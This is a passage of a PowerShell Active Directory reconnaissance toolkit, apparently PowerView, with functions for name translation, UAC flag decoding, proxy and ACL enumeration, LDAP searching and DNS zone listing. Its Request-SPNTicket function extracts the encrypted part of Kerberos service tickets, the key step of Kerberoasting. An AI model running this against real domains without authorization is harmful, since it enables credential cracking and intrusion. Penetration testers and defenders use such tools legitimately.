1039
1040 The OutputType of the user/group name ("NT4","Simple","Canonical").
1041
1042 .EXAMPLE
1043
1044 PS C:\> Convert-ADName -ObjectName "dev\dfm"
1045
1046 Returns "dev.testlab.local/Users/Dave"
1047
1048 .EXAMPLE
1049
1050 PS C:\> Convert-SidToName "S-..." | Convert-ADName
1051
1052 Returns the canonical name for the resolved SID.
1053
1054 .LINK
1055
1056 http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
1057#>
1058 [CmdletBinding()]
1059 param(
1060 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1061 [String]
1062 $ObjectName,
1063
1064 [String]
1065 [ValidateSet("NT4","Simple","Canonical")]
1066 $InputType,
1067
1068 [String]
1069 [ValidateSet("NT4","Simple","Canonical")]
1070 $OutputType
1071 )
1072
1073 $NameTypes = @{
1074 'Canonical' = 2
1075 'NT4' = 3
1076 'Simple' = 5
1077 }
1078
1079 if(-not $PSBoundParameters['InputType']) {
1080 if( ($ObjectName.split('/')).Count -eq 2 ) {
1081 $ObjectName = $ObjectName.replace('/', '\')
1082 }
1083
1084 if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") {
1085 $InputType = 'NT4'
1086 }
1087 elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") {
1088 $InputType = 'Simple'
1089 }
1090 elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") {
1091 $InputType = 'Canonical'
1092 }
1093 else {
1094 Write-Warning "Can not identify InType for $ObjectName"
1095 return $ObjectName
1096 }
1097 }
1098 elseif($InputType -eq 'NT4') {
1099 $ObjectName = $ObjectName.replace('/', '\')
1100 }
1101
1102 if(-not $PSBoundParameters['OutputType']) {
1103 $OutputType = Switch($InputType) {
1104 'NT4' {'Canonical'}
1105 'Simple' {'NT4'}
1106 'Canonical' {'NT4'}
1107 }
1108 }
1109
1110 # try to extract the domain from the given format
1111 $Domain = Switch($InputType) {
1112 'NT4' { $ObjectName.split("\")[0] }
1113 'Simple' { $ObjectName.split("@")[1] }
1114 'Canonical' { $ObjectName.split("/")[0] }
1115 }
1116
1117 # Accessor functions to simplify calls to NameTranslate
1118 function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {
1119 $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters)
1120 if ( $Output ) { $Output }
1121 }
1122 function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {
1123 [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)
1124 }
1125
1126 $Translate = New-Object -ComObject NameTranslate
1127
1128 try {
1129 Invoke-Method $Translate "Init" (1, $Domain)
1130 }
1131 catch [System.Management.Automation.MethodInvocationException] {
1132 Write-Verbose "Error with translate init in Convert-ADName: $_"
1133 }
1134
1135 Set-Property $Translate "ChaseReferral" (0x60)
1136
1137 try {
1138 Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName)
1139 (Invoke-Method $Translate "Get" ($NameTypes[$OutputType]))
1140 }
1141 catch [System.Management.Automation.MethodInvocationException] {
1142 Write-Verbose "Error with translate Set/Get in Convert-ADName: $_"
1143 }
1144}
1145
1146
1147function ConvertFrom-UACValue {
1148<#
1149 .SYNOPSIS
1150
1151 Converts a UAC int value to human readable form.
1152
1153 .PARAMETER Value
1154
1155 The int UAC value to convert.
1156
1157 .PARAMETER ShowAll
1158
1159 Show all UAC values, with a + indicating the value is currently set.
1160
1161 .EXAMPLE
1162
1163 PS C:\> ConvertFrom-UACValue -Value 66176
1164
1165 Convert the UAC value 66176 to human readable format.
1166
1167 .EXAMPLE
1168
1169 PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue
1170
1171 Convert the UAC value for 'jason' to human readable format.
1172
1173 .EXAMPLE
1174
1175 PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll
1176
1177 Convert the UAC value for 'jason' to human readable format, showing all
1178 possible UAC values.
1179#>
1180
1181 [CmdletBinding()]
1182 param(
1183 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1184 $Value,
1185
1186 [Switch]
1187 $ShowAll
1188 )
1189
1190 begin {
1191 # values from https://support.microsoft.com/en-us/kb/305144
1192 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary
1193 $UACValues.Add("SCRIPT", 1)
1194 $UACValues.Add("ACCOUNTDISABLE", 2)
1195 $UACValues.Add("HOMEDIR_REQUIRED", 8)
1196 $UACValues.Add("LOCKOUT", 16)
1197 $UACValues.Add("PASSWD_NOTREQD", 32)
1198 $UACValues.Add("PASSWD_CANT_CHANGE", 64)
1199 $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128)
1200 $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256)
1201 $UACValues.Add("NORMAL_ACCOUNT", 512)
1202 $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048)
1203 $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096)
1204 $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192)
1205 $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536)
1206 $UACValues.Add("MNS_LOGON_ACCOUNT", 131072)
1207 $UACValues.Add("SMARTCARD_REQUIRED", 262144)
1208 $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288)
1209 $UACValues.Add("NOT_DELEGATED", 1048576)
1210 $UACValues.Add("USE_DES_KEY_ONLY", 2097152)
1211 $UACValues.Add("DONT_REQ_PREAUTH", 4194304)
1212 $UACValues.Add("PASSWORD_EXPIRED", 8388608)
1213 $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)
1214 $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864)
1215 }
1216
1217 process {
1218
1219 $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary
1220
1221 if($Value -is [Int]) {
1222 $IntValue = $Value
1223 }
1224 elseif ($Value -is [PSCustomObject]) {
1225 if($Value.useraccountcontrol) {
1226 $IntValue = $Value.useraccountcontrol
1227 }
1228 }
1229 else {
1230 Write-Warning "Invalid object input for -Value : $Value"
1231 return $Null
1232 }
1233
1234 if($ShowAll) {
1235 foreach ($UACValue in $UACValues.GetEnumerator()) {
1236 if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
1237 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+")
1238 }
1239 else {
1240 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
1241 }
1242 }
1243 }
1244 else {
1245 foreach ($UACValue in $UACValues.GetEnumerator()) {
1246 if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {
1247 $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")
1248 }
1249 }
1250 }
1251 $ResultUACValues
1252 }
1253}
1254
1255
1256filter Get-Proxy {
1257<#
1258 .SYNOPSIS
1259
1260 Enumerates the proxy server and WPAD conents for the current user.
1261
1262 .PARAMETER ComputerName
1263
1264 The computername to enumerate proxy settings on, defaults to local host.
1265
1266 .EXAMPLE
1267
1268 PS C:\> Get-Proxy
1269
1270 Returns the current proxy settings.
1271#>
1272 param(
1273 [Parameter(ValueFromPipeline=$True)]
1274 [ValidateNotNullOrEmpty()]
1275 [String]
1276 $ComputerName = $ENV:COMPUTERNAME
1277 )
1278
1279 try {
1280 $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)
1281 $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings")
1282 $ProxyServer = $RegKey.GetValue('ProxyServer')
1283 $AutoConfigURL = $RegKey.GetValue('AutoConfigURL')
1284
1285 $Wpad = ""
1286 if($AutoConfigURL -and ($AutoConfigURL -ne "")) {
1287 try {
1288 $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
1289 }
1290 catch {
1291 Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"
1292 }
1293 }
1294
1295 if($ProxyServer -or $AutoConfigUrl) {
1296
1297 $Properties = @{
1298 'ProxyServer' = $ProxyServer
1299 'AutoConfigURL' = $AutoConfigURL
1300 'Wpad' = $Wpad
1301 }
1302
1303 New-Object -TypeName PSObject -Property $Properties
1304 }
1305 else {
1306 Write-Warning "No proxy settings found for $ComputerName"
1307 }
1308 }
1309 catch {
1310 Write-Warning "Error enumerating proxy settings for $ComputerName : $_"
1311 }
1312}
1313
1314
1315function Request-SPNTicket {
1316<#
1317 .SYNOPSIS
1318
1319 Request the kerberos ticket for a specified service principal name (SPN).
1320
1321 .PARAMETER SPN
1322
1323 The service principal name to request the ticket for. Required.
1324
1325 .PARAMETER EncPart
1326
1327 Switch. Return the encrypted portion of the ticket (cipher).
1328
1329 .EXAMPLE
1330
1331 PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local"
1332
1333 Request a kerberos service ticket for the specified SPN.
1334
1335 .EXAMPLE
1336
1337 PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" -EncPart
1338
1339 Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket.
1340
1341 .EXAMPLE
1342
1343 PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket
1344
1345 Request kerberos service tickets for all SPNs passed on the pipeline.
1346
1347 .EXAMPLE
1348
1349 PS C:\> Get-NetUser -SPN | Request-SPNTicket
1350
1351 Request kerberos service tickets for all users with non-null SPNs.
1352#>
1353
1354 [CmdletBinding()]
1355 Param (
1356 [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)]
1357 [Alias('ServicePrincipalName')]
1358 [String[]]
1359 $SPN,
1360
1361 [Alias('EncryptedPart')]
1362 [Switch]
1363 $EncPart
1364 )
1365
1366 begin {
1367 Add-Type -AssemblyName System.IdentityModel
1368 }
1369
1370 process {
1371 ForEach($UserSPN in $SPN) {
1372 Write-Verbose "Requesting ticket for: $UserSPN"
1373 if (!$EncPart) {
1374 New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
1375 }
1376 else {
1377 $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
1378 $TicketByteStream = $Ticket.GetRequest()
1379 if ($TicketByteStream)
1380 {
1381 $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace "-"
1382 [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split "A48201"
1383 $Parts.RemoveAt($Parts.Count - 1)
1384 $Parts -join "A48201"
1385 break
1386 }
1387 }
1388 }
1389 }
1390}
1391
1392
1393function Get-PathAcl {
1394<#
1395 .SYNOPSIS
1396
1397 Enumerates the ACL for a given file path.
1398
1399 .PARAMETER Path
1400
1401 The local/remote path to enumerate the ACLs for.
1402
1403 .PARAMETER Recurse
1404
1405 If any ACL results are groups, recurse and retrieve user membership.
1406
1407 .EXAMPLE
1408
1409 PS C:\> Get-PathAcl "\\SERVER\Share\"
1410
1411 Returns ACLs for the given UNC share.
1412#>
1413 [CmdletBinding()]
1414 param(
1415 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1416 [String]
1417 $Path,
1418
1419 [Switch]
1420 $Recurse
1421 )
1422
1423 begin {
1424
1425 function Convert-FileRight {
1426
1427 # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
1428
1429 [CmdletBinding()]
1430 param(
1431 [Int]
1432 $FSR
1433 )
1434
1435 $AccessMask = @{
1436 [uint32]'0x80000000' = 'GenericRead'
1437 [uint32]'0x40000000' = 'GenericWrite'
1438 [uint32]'0x20000000' = 'GenericExecute'
1439 [uint32]'0x10000000' = 'GenericAll'
1440 [uint32]'0x02000000' = 'MaximumAllowed'
1441 [uint32]'0x01000000' = 'AccessSystemSecurity'
1442 [uint32]'0x00100000' = 'Synchronize'
1443 [uint32]'0x00080000' = 'WriteOwner'
1444 [uint32]'0x00040000' = 'WriteDAC'
1445 [uint32]'0x00020000' = 'ReadControl'
1446 [uint32]'0x00010000' = 'Delete'
1447 [uint32]'0x00000100' = 'WriteAttributes'
1448 [uint32]'0x00000080' = 'ReadAttributes'
1449 [uint32]'0x00000040' = 'DeleteChild'
1450 [uint32]'0x00000020' = 'Execute/Traverse'
1451 [uint32]'0x00000010' = 'WriteExtendedAttributes'
1452 [uint32]'0x00000008' = 'ReadExtendedAttributes'
1453 [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
1454 [uint32]'0x00000002' = 'WriteData/AddFile'
1455 [uint32]'0x00000001' = 'ReadData/ListDirectory'
1456 }
1457
1458 $SimplePermissions = @{
1459 [uint32]'0x1f01ff' = 'FullControl'
1460 [uint32]'0x0301bf' = 'Modify'
1461 [uint32]'0x0200a9' = 'ReadAndExecute'
1462 [uint32]'0x02019f' = 'ReadAndWrite'
1463 [uint32]'0x020089' = 'Read'
1464 [uint32]'0x000116' = 'Write'
1465 }
1466
1467 $Permissions = @()
1468
1469 # get simple permission
1470 $Permissions += $SimplePermissions.Keys | % {
1471 if (($FSR -band $_) -eq $_) {
1472 $SimplePermissions[$_]
1473 $FSR = $FSR -band (-not $_)
1474 }
1475 }
1476
1477 # get remaining extended permissions
1478 $Permissions += $AccessMask.Keys |
1479 ? { $FSR -band $_ } |
1480 % { $AccessMask[$_] }
1481
1482 ($Permissions | ?{$_}) -join ","
1483 }
1484 }
1485
1486 process {
1487
1488 try {
1489 $ACL = Get-Acl -Path $Path
1490
1491 $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
1492
1493 $Names = @()
1494 if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') {
1495 $Object = Get-ADObject -SID $_.IdentityReference
1496 $Names = @()
1497 $SIDs = @($Object.objectsid)
1498
1499 if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {
1500 $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid
1501 }
1502
1503 $SIDs | ForEach-Object {
1504 $Names += ,@($_, (Convert-SidToName $_))
1505 }
1506 }
1507 else {
1508 $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value))
1509 }
1510
1511 ForEach($Name in $Names) {
1512 $Out = New-Object PSObject
1513 $Out | Add-Member Noteproperty 'Path' $Path
1514 $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
1515 $Out | Add-Member Noteproperty 'IdentityReference' $Name[1]
1516 $Out | Add-Member Noteproperty 'IdentitySID' $Name[0]
1517 $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
1518 $Out
1519 }
1520 }
1521 }
1522 catch {
1523 Write-Warning $_
1524 }
1525 }
1526}
1527
1528
1529filter Get-NameField {
1530<#
1531 .SYNOPSIS
1532
1533 Helper that attempts to extract appropriate field names from
1534 passed computer objects.
1535
1536 .PARAMETER Object
1537
1538 The passed object to extract name fields from.
1539
1540 .PARAMETER DnsHostName
1541
1542 A DnsHostName to extract through ValueFromPipelineByPropertyName.
1543
1544 .PARAMETER Name
1545
1546 A Name to extract through ValueFromPipelineByPropertyName.
1547
1548 .EXAMPLE
1549
1550 PS C:\> Get-NetComputer -FullData | Get-NameField
1551#>
1552 [CmdletBinding()]
1553 param(
1554 [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1555 [Object]
1556 $Object,
1557
1558 [Parameter(ValueFromPipelineByPropertyName = $True)]
1559 [String]
1560 $DnsHostName,
1561
1562 [Parameter(ValueFromPipelineByPropertyName = $True)]
1563 [String]
1564 $Name
1565 )
1566
1567 if($PSBoundParameters['DnsHostName']) {
1568 $DnsHostName
1569 }
1570 elseif($PSBoundParameters['Name']) {
1571 $Name
1572 }
1573 elseif($Object) {
1574 if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
1575 # objects from Get-NetComputer
1576 $Object.dnshostname
1577 }
1578 elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
1579 # objects from Get-NetDomainController
1580 $Object.name
1581 }
1582 else {
1583 # strings and catch alls
1584 $Object
1585 }
1586 }
1587 else {
1588 return $Null
1589 }
1590}
1591
1592
1593function Convert-LDAPProperty {
1594<#
1595 .SYNOPSIS
1596
1597 Helper that converts specific LDAP property result fields.
1598 Used by several of the Get-Net* function.
1599
1600 .PARAMETER Properties
1601
1602 Properties object to extract out LDAP fields for display.
1603#>
1604 param(
1605 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1606 [ValidateNotNullOrEmpty()]
1607 $Properties
1608 )
1609
1610 $ObjectProperties = @{}
1611
1612 $Properties.PropertyNames | ForEach-Object {
1613 if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
1614 # convert the SID to a string
1615 $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
1616 }
1617 elseif($_ -eq "objectguid") {
1618 # convert the GUID to a string
1619 $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
1620 }
1621 elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
1622 # convert timestamps
1623 if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
1624 # if we have a System.__ComObject
1625 $Temp = $Properties[$_][0]
1626 [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1627 [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1628 $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
1629 }
1630 else {
1631 $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
1632 }
1633 }
1634 elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
1635 # try to convert misc com objects
1636 $Prop = $Properties[$_]
1637 try {
1638 $Temp = $Prop[$_][0]
1639 Write-Verbose $_
1640 [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1641 [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1642 $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
1643 }
1644 catch {
1645 $ObjectProperties[$_] = $Prop[$_]
1646 }
1647 }
1648 elseif($Properties[$_].count -eq 1) {
1649 $ObjectProperties[$_] = $Properties[$_][0]
1650 }
1651 else {
1652 $ObjectProperties[$_] = $Properties[$_]
1653 }
1654 }
1655
1656 New-Object -TypeName PSObject -Property $ObjectProperties
1657}
1658
1659
1660
1661########################################################
1662#
1663# Domain info functions below.
1664#
1665########################################################
1666
1667filter Get-DomainSearcher {
1668<#
1669 .SYNOPSIS
1670
1671 Helper used by various functions that takes an ADSpath and
1672 domain specifier and builds the correct ADSI searcher object.
1673
1674 .PARAMETER Domain
1675
1676 The domain to use for the query, defaults to the current domain.
1677
1678 .PARAMETER DomainController
1679
1680 Domain controller to reflect LDAP queries through.
1681
1682 .PARAMETER ADSpath
1683
1684 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
1685 Useful for OU queries.
1686
1687 .PARAMETER ADSprefix
1688
1689 Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
1690
1691 .PARAMETER PageSize
1692
1693 The PageSize to set for the LDAP searcher object.
1694
1695 .PARAMETER Credential
1696
1697 A [Management.Automation.PSCredential] object of alternate credentials
1698 for connection to the target domain.
1699
1700 .EXAMPLE
1701
1702 PS C:\> Get-DomainSearcher -Domain testlab.local
1703
1704 .EXAMPLE
1705
1706 PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local
1707#>
1708
1709 param(
1710 [Parameter(ValueFromPipeline=$True)]
1711 [String]
1712 $Domain,
1713
1714 [String]
1715 $DomainController,
1716
1717 [String]
1718 $ADSpath,
1719
1720 [String]
1721 $ADSprefix,
1722
1723 [ValidateRange(1,10000)]
1724 [Int]
1725 $PageSize = 200,
1726
1727 [Management.Automation.PSCredential]
1728 $Credential
1729 )
1730
1731 if(-not $Credential) {
1732 if(-not $Domain) {
1733 $Domain = (Get-NetDomain).name
1734 }
1735 elseif(-not $DomainController) {
1736 try {
1737 # if there's no -DomainController specified, try to pull the primary DC to reflect queries through
1738 $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
1739 }
1740 catch {
1741 throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
1742 }
1743 }
1744 }
1745 elseif (-not $DomainController) {
1746 # if a DC isn't specified
1747 try {
1748 $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
1749 }
1750 catch {
1751 throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
1752 }
1753
1754 if(!$DomainController) {
1755 throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
1756 }
1757 }
1758
1759 $SearchString = "LDAP://"
1760
1761 if($DomainController) {
1762 $SearchString += $DomainController
1763 if($Domain){
1764 $SearchString += '/'
1765 }
1766 }
1767
1768 if($ADSprefix) {
1769 $SearchString += $ADSprefix + ','
1770 }
1771
1772 if($ADSpath) {
1773 if($ADSpath -Match '^GC://') {
1774 # if we're searching the global catalog
1775 $DN = $AdsPath.ToUpper().Trim('/')
1776 $SearchString = ''
1777 }
1778 else {
1779 if($ADSpath -match '^LDAP://') {
1780 if($ADSpath -match "LDAP://.+/.+") {
1781 $SearchString = ''
1782 }
1783 else {
1784 $ADSpath = $ADSpath.Substring(7)
1785 }
1786 }
1787 $DN = $ADSpath
1788 }
1789 }
1790 else {
1791 if($Domain -and ($Domain.Trim() -ne "")) {
1792 $DN = "DC=$($Domain.Replace('.', ',DC='))"
1793 }
1794 }
1795
1796 $SearchString += $DN
1797 Write-Verbose "Get-DomainSearcher search string: $SearchString"
1798
1799 if($Credential) {
1800 Write-Verbose "Using alternate credentials for LDAP connection"
1801 $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
1802 $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
1803 }
1804 else {
1805 $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
1806 }
1807
1808 $Searcher.PageSize = $PageSize
1809 $Searcher.CacheResults = $False
1810 $Searcher
1811}
1812
1813
1814filter Convert-DNSRecord {
1815<#
1816 .SYNOPSIS
1817
1818 Decodes a binary DNS record.
1819
1820 Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
1821
1822 .PARAMETER DNSRecord
1823
1824 The domain to query for zones, defaults to the current domain.
1825
1826 .LINK
1827
1828 https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
1829#>
1830 param(
1831 [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
1832 [Byte[]]
1833 $DNSRecord
1834 )
1835
1836 function Get-Name {
1837 # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
1838 [CmdletBinding()]
1839 param(
1840 [Byte[]]
1841 $Raw
1842 )
1843
1844 [Int]$Length = $Raw[0]
1845 [Int]$Segments = $Raw[1]
1846 [Int]$Index = 2
1847 [String]$Name = ""
1848
1849 while ($Segments-- -gt 0)
1850 {
1851 [Int]$SegmentLength = $Raw[$Index++]
1852 while ($SegmentLength-- -gt 0) {
1853 $Name += [Char]$Raw[$Index++]
1854 }
1855 $Name += "."
1856 }
1857 $Name
1858 }
1859
1860 $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
1861 $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
1862 $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
1863
1864 $TTLRaw = $DNSRecord[12..15]
1865 # reverse for big endian
1866 $Null = [array]::Reverse($TTLRaw)
1867 $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
1868
1869 $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
1870 if($Age -ne 0) {
1871 $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
1872 }
1873 else {
1874 $TimeStamp = "[static]"
1875 }
1876
1877 $DNSRecordObject = New-Object PSObject
1878
1879 if($RDataType -eq 1) {
1880 $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
1881 $Data = $IP
1882 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
1883 }
1884
1885 elseif($RDataType -eq 2) {
1886 $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
1887 $Data = $NSName
1888 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
1889 }
1890
1891 elseif($RDataType -eq 5) {
1892 $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
1893 $Data = $Alias
1894 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
1895 }
1896
1897 elseif($RDataType -eq 6) {
1898 # TODO: how to implement properly? nested object?
1899 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1900 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
1901 }
1902
1903 elseif($RDataType -eq 12) {
1904 $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
1905 $Data = $Ptr
1906 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
1907 }
1908
1909 elseif($RDataType -eq 13) {
1910 # TODO: how to implement properly? nested object?
1911 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1912 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
1913 }
1914
1915 elseif($RDataType -eq 15) {
1916 # TODO: how to implement properly? nested object?
1917 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1918 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
1919 }
1920
1921 elseif($RDataType -eq 16) {
1922
1923 [string]$TXT = ""
1924 [int]$SegmentLength = $DNSRecord[24]
1925 $Index = 25
1926 while ($SegmentLength-- -gt 0) {
1927 $TXT += [char]$DNSRecord[$index++]
1928 }
1929
1930 $Data = $TXT
1931 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
1932 }
1933
1934 elseif($RDataType -eq 28) {
1935 # TODO: how to implement properly? nested object?
1936 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1937 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
1938 }
1939
1940 elseif($RDataType -eq 33) {
1941 # TODO: how to implement properly? nested object?
1942 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1943 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
1944 }
1945
1946 else {
1947 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1948 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
1949 }
1950
1951 $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
1952 $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
1953 $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
1954 $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
1955 $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
1956 $DNSRecordObject
1957}
1958
1959
1960filter Get-DNSZone {
1961<#
1962 .SYNOPSIS
1963
1964 Enumerates the Active Directory DNS zones for a given domain.
1965
1966 .PARAMETER Domain
1967
1968 The domain to query for zones, defaults to the current domain.
1969
1970 .PARAMETER DomainController
1971
1972 Domain controller to reflect LDAP queries through.
1973
1974 .PARAMETER PageSize
1975
1976 The PageSize to set for the LDAP searcher object.
1977
1978 .PARAMETER Credential
1979
1980 A [Management.Automation.PSCredential] object of alternate credentials
1981 for connection to the target domain.
1982
1983 .PARAMETER FullData
1984
1985 Switch. Return full computer objects instead of just system names (the default).
1986
1987 .EXAMPLE
1988
1989 PS C:\> Get-DNSZone
1990
1991 Retrieves the DNS zones for the current domain.
1992
1993 .EXAMPLE
1994
1995 PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local
1996
1997 Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries
1998 through the primary.testlab.local domain controller.
1999#>
2000
2001 param(
2002 [Parameter(Position=0, ValueFromPipeline=$True)]
2003 [String]
2004 $Domain,
2005
2006 [String]
2007 $DomainController,
2008
2009 [ValidateRange(1,10000)]
2010 [Int]
2011 $PageSize = 200,
2012
2013 [Management.Automation.PSCredential]
2014 $Credential,
2015
2016 [Switch]
2017 $FullData
2018 )
2019
2020 $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential
2021 $DNSSearcher.filter="(objectClass=dnsZone)"
2022
2023 if($DNSSearcher) {
2024 $Results = $DNSSearcher.FindAll()
2025 $Results | Where-Object {$_} | ForEach-Object {
2026 # convert/process the LDAP fields for each result
2027 $Properties = Convert-LDAPProperty -Properties $_.Properties
2028 $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
2029
2030 if ($FullData) {
2031 $Properties
2032 }
